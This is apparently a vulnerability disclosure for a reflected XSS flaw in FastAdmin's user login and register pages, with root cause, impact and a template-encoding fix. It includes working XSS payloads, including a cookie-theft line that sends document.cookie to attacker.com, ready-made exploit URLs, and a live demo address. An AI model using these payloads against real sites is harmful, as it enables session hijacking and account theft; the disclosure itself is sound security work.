FastAdmin Reflected XSS Vulnerability (url Parameter)

Bug Author: lhzzz08 Affected Version: FastAdmin ≤ v1.2.0.20210401_beta (fixed in v1.2.1.20210731_beta) Vendor: FastAdminNet Software: FastAdmin on GitHub/Gitee Vulnerability Files:

  • application/index/controller/User.php (lines 68, 146)
  • application/index/view/user/login.html (line 7)
  • application/index/view/user/register.html (line 8)

Description

Reflected XSS Vulnerability in FastAdmin index/user Login and Register Pages via url Parameter

1. Reflected XSS via url Parameter

FastAdmin’s front-end user module (app\index\controller\User) accepts a url GET parameter in both the login and register endpoints. This parameter is intended to redirect users after successful authentication. In the vulnerable version, the parameter is retrieved with only a trim filter (no HTML sanitization) and assigned to the template:

application/index/controller/User.php — register() (line 68):

$url = $this->request->request('url', '', 'trim');
// ...
$this->view->assign('url', $url);

application/index/controller/User.php — login() (line 146):

$url = $this->request->request('url', '', 'trim');
// ...
$this->view->assign('url', $url);

The template then renders the value directly into a double-quoted HTML attribute with no encoding modifier:

application/index/view/user/register.html (line 8):

<input type="hidden" name="url" value="{$url}"/>

application/index/view/user/login.html (line 7):

<input type="hidden" name="url" value="{$url}"/>

ThinkPHP applies no HTML encoding when a variable is output without a modifier. The " character passes through unescaped, allowing an attacker to break out of the value attribute context and inject arbitrary HTML/JavaScript.

2. Exploiting the XSS

An unauthenticated attacker crafts a URL containing a malicious payload in the url parameter. When a victim visits the link, the payload executes in their browser.

3. Example XSS Payloads

Basic alert PoC:

"><img src=x onerror=alert(1)>

Cookie theft:

"><img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>

SVG-based:

"><svg onload=alert(document.domain)>

4. Requesting the Vulnerable Endpoint

Register page:

GET /index/user/register.html?url=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E HTTP/1.1
Host: <target>

Login page:

GET /index/user/login.html?url=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E HTTP/1.1
Host: <target>

5. Live Demo (Proof of Existence)

http://124.223.0.57:8003/index.php/index/user/register.html?url=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E


Proof of Concept

  1. No authentication required. The login and register pages are publicly accessible ($noNeedLogin = ['login', 'register', 'third']).

  2. Navigate to the following URL in any browser:

    http://<target>/index/user/register.html?url=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E
    
  3. The page renders the payload unescaped in the value attribute, breaking out and executing:

    <input type="hidden" name="url" value=""><img src=x onerror=alert(1)>"/>
    

    A JavaScript alert(1) dialog appears, confirming XSS execution.

  4. The same payload applies to the login endpoint:

    http://<target>/index/user/login.html?url=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E
    

Root Cause

In the vulnerable version (≤ v1.2.0.20210401_beta), application/index/controller/User.php reads the url GET parameter with only a trim filter — no HTML sanitization. The value is assigned to the template where {$url} renders it directly into a double-quoted HTML attribute. ThinkPHP applies no HTML encoding when no modifier is specified, leaving " unescaped and allowing attribute context escape with arbitrary script injection. The vulnerability was fixed in commit b3d32e2 (released in v1.2.1.20210731_beta) by changing {$url} to {$url|htmlentities} in both templates.

git show b3d32e2 -- application/index/view/user/login.html


Impact

An unauthenticated remote attacker can execute arbitrary JavaScript in the browser of any user who visits a crafted link, enabling session hijacking, credential phishing, malicious redirects, and DOM-based attacks against all FastAdmin deployments that enable the user center (fastadmin.usercenter = true).


Suggested Repair

1. Add HTML encoding modifier to template output (primary fix)

Replace bare {$url} with {$url|htmlentities} in both templates:

<!-- application/index/view/user/login.html line 7 -->
<input type="hidden" name="url" value="{$url|htmlentities}"/>

<!-- application/index/view/user/register.html line 8 -->
<input type="hidden" name="url" value="{$url|htmlentities}"/>

2. Validate url parameter against an allowlist in the controller

Add input-side validation so only safe redirect paths are accepted:

// application/index/controller/User.php
$url = $this->request->request('url', '', 'trim');
if ($url && !preg_match('/^\/[a-zA-Z0-9\/_\-\.%?&=]*$/', $url)) {
    $url = '';
}